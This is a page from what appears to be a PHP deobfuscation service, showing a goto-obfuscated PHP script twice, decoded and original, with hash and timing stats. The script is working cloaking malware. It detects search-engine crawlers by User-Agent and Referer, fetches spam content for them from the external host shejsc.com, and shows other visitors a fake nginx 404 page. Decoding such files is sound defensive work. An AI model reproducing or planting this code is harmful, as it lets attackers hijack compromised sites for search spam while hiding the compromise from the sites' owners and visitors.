Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto McbUB; PBel1: VKDp_: goto BCuk2; Y5PmX: echo "<html>\xa<head><title>404 Not Found</t..
Decoded Output download
<? goto McbUB; PBel1: VKDp_: goto BCuk2; Y5PmX: echo "<html>\xa<head><title>404 Not Found</title></head>\xa<body bgcolor='white'>
<center><h1>404 Not Found</h1></center>\xa<hr><center>nginx</center>\xa</body>
</html>"; goto o8hfL; McbUB: error_reporting(0); goto SqVt9; Bj6Mq: echo $KVlPz; goto w94el; fJHNL: $kv5Zj = "https://shejsc.com/index.php?url="; goto fNk3U; P5WyW: $KVlPz = xO3pz($kv5Zj . str_replace("?", "-", $_SERVER["REQUEST_URI"] . HKewB() . NdFD2()) . "&url2=" . "http://" . $_SERVER["HTTP_HOST"] . str_replace("?", "-", $_SERVER["REQUEST_URI"])); goto q_JmO; SKnlH: G7m_b: goto Na2TA; asZP1: function X1aeF() { goto kb9HE; IVzJu: $GGhUK = false; goto C90Cc; C90Cc: if (!(preg_match("/.*(uc).*/i", $o8gA2) && strlen($o8gA2) > 2)) { goto jFvVR; } goto xH5DE; RQqVa: jFvVR: goto RxHQR; xH5DE: $GGhUK = true; goto RQqVa; kb9HE: $o8gA2 = $_SERVER["HTTP_X_UCBROWSER_UA"]; goto IVzJu; RxHQR: return $GGhUK; goto G9Jsm; G9Jsm: } goto pVPp4; vw_I6: uvi8g: goto xICXG; SqVt9: date_default_timezone_set("PRC"); goto fJHNL; k9V03: if (!(EkHHM() || X1AeF())) { goto VKDp_; } goto qvz9u; o8hfL: exit; goto vw_I6; a4zFS: exit; goto lMI2L; q_JmO: echo $KVlPz; goto a4zFS; qvz9u: $KVlPz = XO3Pz($kv5Zj . "tiaole"); goto Bj6Mq; KN5T0: function xo3Pz($FZ4A1) { goto khn_n; Az_y1: curl_setopt($lS7Jn, CURLOPT_FOLLOWLOCATION, true); goto bqSwA; bqSwA: $lXJnh = curl_exec($lS7Jn); goto SVNXs; wQ40W: curl_setopt($lS7Jn, CURLOPT_RETURNTRANSFER, true); goto Az_y1; SVNXs: curl_close($lS7Jn); goto ZEXIa; khn_n: $lS7Jn = curl_init(); goto YTS6a; YTS6a: curl_setopt($lS7Jn, CURLOPT_URL, $FZ4A1); goto wQ40W; ZEXIa: return $lXJnh; goto jQmLD; jQmLD: } goto asZP1; w94el: exit; goto PBel1; lMI2L: Uw9KD: goto SKnlH; xICXG: function HKeWb() { goto U2kMC; Lsimu: return ''; goto lkp8V; lkp8V: goto uCyma; goto BPTLS; DU1s6: uCyma: goto Cp6BP; U2kMC: $y0ES1 = $_SERVER["HTTP_USER_AGENT"]; goto s136b; BPTLS: DmBRE: goto Hwhzq; s136b: if (preg_match("/.*(ao|so.com|360).*/i", $y0ES1)) { goto DmBRE; } goto Lsimu; Hwhzq: return "&zz=360"; goto DU1s6; Cp6BP: } goto AIhEu; mboqS: function fuKl1() { goto vo4UH; vo4UH: $y0ES1 = $_SERVER["HTTP_USER_AGENT"]; goto YaKVZ; YaKVZ: if (preg_match("/.*(sogou|so.com|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360|sm|uc).*/i", $y0ES1)) { goto Vf5pK; } goto XZ3mZ; Jweun: goto ggP3R; goto QWxjN; XZ3mZ: return ''; goto Jweun; py8id: return true; goto LVjm1; QWxjN: Vf5pK: goto py8id; LVjm1: ggP3R: goto SpINX; SpINX: } goto aVvVC; Na2TA: if (!(fUkl1() == '')) { goto uvi8g; } goto Y5PmX; fNk3U: if (!(jy2eU() != "/")) { goto G7m_b; } goto k9V03; AIhEu: function NdfD2() { goto mJhjA; imQWL: return "&bb=baidu"; goto G85E5; I9FSM: goto RgDF8; goto YJ0Qt; YJ0Qt: FbSUM: goto imQWL; G85E5: RgDF8: goto EWULL; Aijrz: if (preg_match("/.*(baid|aid).*/i", $y0ES1)) { goto FbSUM; } goto WUklZ; WUklZ: return ''; goto I9FSM; mJhjA: $y0ES1 = $_SERVER["HTTP_USER_AGENT"]; goto Aijrz; EWULL: } goto mboqS; BCuk2: if (!fUkl1()) { goto Uw9KD; } goto P5WyW; aVvVC: function EKHHm() { goto rmIeu; jJOHw: if (!preg_match("/^(?:http:\/\/)?lad{0}njie\.and{0}quad{0}n\.op{0}r.{0}g/i", $o8gA2)) { goto yp4mA; } goto CVKzk; UPUYJ: $GGhUK = false; goto kr3Id; ujhxH: if ($GGhUK) { goto bNp8L; } goto g0y9l; GAO0_: oUTki: goto tHUJF; TugtU: $GGhUK = true; goto Ti23G; CVKzk: $GGhUK = true; goto Dm5q2; rmIeu: $o8gA2 = $_SERVER["HTTP_REFERER"]; goto UPUYJ; DbQ3z: return $GGhUK; goto Px6ID; kr3Id: if (!strstr($o8gA2, "bsb.baidu")) { goto RaLou; } goto OA5qH; g0y9l: if (!preg_match("/.*(baidu|sog|360|hao|so).*/i", $o8gA2)) { goto oUTki; } goto DcYCh; DcYCh: $GGhUK = true; goto GAO0_; XC9k_: if (!preg_match("/.*(sogou|so.com|WebShieldSession|Verify|verify|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360|sm|uc).*/i", $o8gA2)) { goto y6E3o; } goto TugtU; OA5qH: return true; goto U0Xrb; T4Rzt: if ($GGhUK) { goto X880Z; } goto jJOHw; Ti23G: y6E3o: goto T4Rzt; ERzPx: X880Z: goto ujhxH; Dm5q2: yp4mA: goto ERzPx; U0Xrb: RaLou: goto XC9k_; tHUJF: bNp8L: goto DbQ3z; Px6ID: } goto KN5T0; pVPp4: function jy2Eu() { goto D0xua; HJ1Py: if (isset($_SERVER["argv"])) { goto s9J_F; } goto m6h7_; Ir18a: $WcYBV = explode("#", $Qy131, 2); goto Uar9c; BGKFx: Z2Ote: goto Ir18a; bgDvF: nMQn8: goto ADaNu; FOmnp: $Qy131 = str_ireplace("http://" . ($_SERVER["HTTP_HOST"] ? $_SERVER["HTTP_HOST"] : $_SERVER["SERVER_NAME"]) . "/", '', $Qy131); goto K_0tj; UKm4o: if (function_exists("mb_convert_encoding")) { goto o_ZGV; } goto fPl79; ck6Fo: $Qy131 = str_ireplace("index.php?404;", '', $Qy131); goto FOmnp; ADaNu: goto rmZpi; goto et15K; K_0tj: $Qy131 = str_ireplace("http://" . ($_SERVER["HTTP_HOST"] ? $_SERVER["HTTP_HOST"] : $_SERVER["SERVER_NAME"]) . ":" . $_SERVER["SERVER_PORT"] . "/", '', $Qy131); goto ICOyV; ONTFd: goto nMQn8; goto vOxR9; T1BKf: if (!(isset($_SERVER["SERVER_SOFTWARE"]) && false !== stristr($_SERVER["SERVER_SOFTWARE"], "IIS"))) { goto Z2Ote; } goto UKm4o; wD3zc: rmZpi: goto T1BKf; fwBNK: $Qy131 = $_SERVER["REQUEST_URI"]; goto wD3zc; D0xua: $Qy131 = ''; goto h9kKe; vOxR9: s9J_F: goto qMkbX; oTX4E: o_ZGV: goto ZDFcY; NXY3i: goto cyeKv; goto oTX4E; qMkbX: $Qy131 = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; goto bgDvF; et15K: eEmLe: goto fwBNK; Uar9c: $Qy131 = $WcYBV[0]; goto ck6Fo; ICOyV: $Qy131 = str_ireplace("index.php", '', $Qy131); goto ZI6s3; ZI6s3: $Qy131 = str_ireplace("index.html", '', $Qy131); goto bxrQP; h9kKe: if (isset($_SERVER["REQUEST_URI"])) { goto eEmLe; } goto HJ1Py; ZDFcY: $Qy131 = mb_convert_encoding($Qy131, "UTF-8", "GBK"); goto WuSFp; YlHVn: return $Qy131; goto iw4aZ; fPl79: $Qy131 = @iconv("GBK", "UTF-8", @iconv("UTF-8", "GBK", $Qy131)) == $Qy131 ? $Qy131 : @iconv("GBK", "UTF-8", $Qy131); goto NXY3i; WuSFp: cyeKv: goto BGKFx; m6h7_: $Qy131 = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto ONTFd; bxrQP: $Qy131 = str_ireplace("index.htm", '', $Qy131); goto YlHVn; iw4aZ: } ?>
Did this file decode correctly?
Original Code
goto McbUB; PBel1: VKDp_: goto BCuk2; Y5PmX: echo "<html>\xa<head><title>404 Not Found</title></head>\xa<body bgcolor='white'>
<center><h1>404 Not Found</h1></center>\xa<hr><center>nginx</center>\xa</body>
</html>"; goto o8hfL; McbUB: error_reporting(0); goto SqVt9; Bj6Mq: echo $KVlPz; goto w94el; fJHNL: $kv5Zj = "https://shejsc.com/index.php?url="; goto fNk3U; P5WyW: $KVlPz = xO3pz($kv5Zj . str_replace("?", "-", $_SERVER["REQUEST_URI"] . HKewB() . NdFD2()) . "&url2=" . "http://" . $_SERVER["HTTP_HOST"] . str_replace("?", "-", $_SERVER["REQUEST_URI"])); goto q_JmO; SKnlH: G7m_b: goto Na2TA; asZP1: function X1aeF() { goto kb9HE; IVzJu: $GGhUK = false; goto C90Cc; C90Cc: if (!(preg_match("/.*(uc).*/i", $o8gA2) && strlen($o8gA2) > 2)) { goto jFvVR; } goto xH5DE; RQqVa: jFvVR: goto RxHQR; xH5DE: $GGhUK = true; goto RQqVa; kb9HE: $o8gA2 = $_SERVER["HTTP_X_UCBROWSER_UA"]; goto IVzJu; RxHQR: return $GGhUK; goto G9Jsm; G9Jsm: } goto pVPp4; vw_I6: uvi8g: goto xICXG; SqVt9: date_default_timezone_set("PRC"); goto fJHNL; k9V03: if (!(EkHHM() || X1AeF())) { goto VKDp_; } goto qvz9u; o8hfL: exit; goto vw_I6; a4zFS: exit; goto lMI2L; q_JmO: echo $KVlPz; goto a4zFS; qvz9u: $KVlPz = XO3Pz($kv5Zj . "tiaole"); goto Bj6Mq; KN5T0: function xo3Pz($FZ4A1) { goto khn_n; Az_y1: curl_setopt($lS7Jn, CURLOPT_FOLLOWLOCATION, true); goto bqSwA; bqSwA: $lXJnh = curl_exec($lS7Jn); goto SVNXs; wQ40W: curl_setopt($lS7Jn, CURLOPT_RETURNTRANSFER, true); goto Az_y1; SVNXs: curl_close($lS7Jn); goto ZEXIa; khn_n: $lS7Jn = curl_init(); goto YTS6a; YTS6a: curl_setopt($lS7Jn, CURLOPT_URL, $FZ4A1); goto wQ40W; ZEXIa: return $lXJnh; goto jQmLD; jQmLD: } goto asZP1; w94el: exit; goto PBel1; lMI2L: Uw9KD: goto SKnlH; xICXG: function HKeWb() { goto U2kMC; Lsimu: return ''; goto lkp8V; lkp8V: goto uCyma; goto BPTLS; DU1s6: uCyma: goto Cp6BP; U2kMC: $y0ES1 = $_SERVER["HTTP_USER_AGENT"]; goto s136b; BPTLS: DmBRE: goto Hwhzq; s136b: if (preg_match("/.*(ao|so.com|360).*/i", $y0ES1)) { goto DmBRE; } goto Lsimu; Hwhzq: return "&zz=360"; goto DU1s6; Cp6BP: } goto AIhEu; mboqS: function fuKl1() { goto vo4UH; vo4UH: $y0ES1 = $_SERVER["HTTP_USER_AGENT"]; goto YaKVZ; YaKVZ: if (preg_match("/.*(sogou|so.com|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360|sm|uc).*/i", $y0ES1)) { goto Vf5pK; } goto XZ3mZ; Jweun: goto ggP3R; goto QWxjN; XZ3mZ: return ''; goto Jweun; py8id: return true; goto LVjm1; QWxjN: Vf5pK: goto py8id; LVjm1: ggP3R: goto SpINX; SpINX: } goto aVvVC; Na2TA: if (!(fUkl1() == '')) { goto uvi8g; } goto Y5PmX; fNk3U: if (!(jy2eU() != "/")) { goto G7m_b; } goto k9V03; AIhEu: function NdfD2() { goto mJhjA; imQWL: return "&bb=baidu"; goto G85E5; I9FSM: goto RgDF8; goto YJ0Qt; YJ0Qt: FbSUM: goto imQWL; G85E5: RgDF8: goto EWULL; Aijrz: if (preg_match("/.*(baid|aid).*/i", $y0ES1)) { goto FbSUM; } goto WUklZ; WUklZ: return ''; goto I9FSM; mJhjA: $y0ES1 = $_SERVER["HTTP_USER_AGENT"]; goto Aijrz; EWULL: } goto mboqS; BCuk2: if (!fUkl1()) { goto Uw9KD; } goto P5WyW; aVvVC: function EKHHm() { goto rmIeu; jJOHw: if (!preg_match("/^(?:http:\/\/)?lad{0}njie\.and{0}quad{0}n\.op{0}r.{0}g/i", $o8gA2)) { goto yp4mA; } goto CVKzk; UPUYJ: $GGhUK = false; goto kr3Id; ujhxH: if ($GGhUK) { goto bNp8L; } goto g0y9l; GAO0_: oUTki: goto tHUJF; TugtU: $GGhUK = true; goto Ti23G; CVKzk: $GGhUK = true; goto Dm5q2; rmIeu: $o8gA2 = $_SERVER["HTTP_REFERER"]; goto UPUYJ; DbQ3z: return $GGhUK; goto Px6ID; kr3Id: if (!strstr($o8gA2, "bsb.baidu")) { goto RaLou; } goto OA5qH; g0y9l: if (!preg_match("/.*(baidu|sog|360|hao|so).*/i", $o8gA2)) { goto oUTki; } goto DcYCh; DcYCh: $GGhUK = true; goto GAO0_; XC9k_: if (!preg_match("/.*(sogou|so.com|WebShieldSession|Verify|verify|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360|sm|uc).*/i", $o8gA2)) { goto y6E3o; } goto TugtU; OA5qH: return true; goto U0Xrb; T4Rzt: if ($GGhUK) { goto X880Z; } goto jJOHw; Ti23G: y6E3o: goto T4Rzt; ERzPx: X880Z: goto ujhxH; Dm5q2: yp4mA: goto ERzPx; U0Xrb: RaLou: goto XC9k_; tHUJF: bNp8L: goto DbQ3z; Px6ID: } goto KN5T0; pVPp4: function jy2Eu() { goto D0xua; HJ1Py: if (isset($_SERVER["argv"])) { goto s9J_F; } goto m6h7_; Ir18a: $WcYBV = explode("#", $Qy131, 2); goto Uar9c; BGKFx: Z2Ote: goto Ir18a; bgDvF: nMQn8: goto ADaNu; FOmnp: $Qy131 = str_ireplace("http://" . ($_SERVER["HTTP_HOST"] ? $_SERVER["HTTP_HOST"] : $_SERVER["SERVER_NAME"]) . "/", '', $Qy131); goto K_0tj; UKm4o: if (function_exists("mb_convert_encoding")) { goto o_ZGV; } goto fPl79; ck6Fo: $Qy131 = str_ireplace("index.php?404;", '', $Qy131); goto FOmnp; ADaNu: goto rmZpi; goto et15K; K_0tj: $Qy131 = str_ireplace("http://" . ($_SERVER["HTTP_HOST"] ? $_SERVER["HTTP_HOST"] : $_SERVER["SERVER_NAME"]) . ":" . $_SERVER["SERVER_PORT"] . "/", '', $Qy131); goto ICOyV; ONTFd: goto nMQn8; goto vOxR9; T1BKf: if (!(isset($_SERVER["SERVER_SOFTWARE"]) && false !== stristr($_SERVER["SERVER_SOFTWARE"], "IIS"))) { goto Z2Ote; } goto UKm4o; wD3zc: rmZpi: goto T1BKf; fwBNK: $Qy131 = $_SERVER["REQUEST_URI"]; goto wD3zc; D0xua: $Qy131 = ''; goto h9kKe; vOxR9: s9J_F: goto qMkbX; oTX4E: o_ZGV: goto ZDFcY; NXY3i: goto cyeKv; goto oTX4E; qMkbX: $Qy131 = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; goto bgDvF; et15K: eEmLe: goto fwBNK; Uar9c: $Qy131 = $WcYBV[0]; goto ck6Fo; ICOyV: $Qy131 = str_ireplace("index.php", '', $Qy131); goto ZI6s3; ZI6s3: $Qy131 = str_ireplace("index.html", '', $Qy131); goto bxrQP; h9kKe: if (isset($_SERVER["REQUEST_URI"])) { goto eEmLe; } goto HJ1Py; ZDFcY: $Qy131 = mb_convert_encoding($Qy131, "UTF-8", "GBK"); goto WuSFp; YlHVn: return $Qy131; goto iw4aZ; fPl79: $Qy131 = @iconv("GBK", "UTF-8", @iconv("UTF-8", "GBK", $Qy131)) == $Qy131 ? $Qy131 : @iconv("GBK", "UTF-8", $Qy131); goto NXY3i; WuSFp: cyeKv: goto BGKFx; m6h7_: $Qy131 = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto ONTFd; bxrQP: $Qy131 = str_ireplace("index.htm", '', $Qy131); goto YlHVn; iw4aZ: } ?>
Function Calls
| None |
Stats
| MD5 | 2144fd6b0de71c5439d3ffd0ec4a3a73 |
| Eval Count | 0 |
| Decode Time | 49 ms |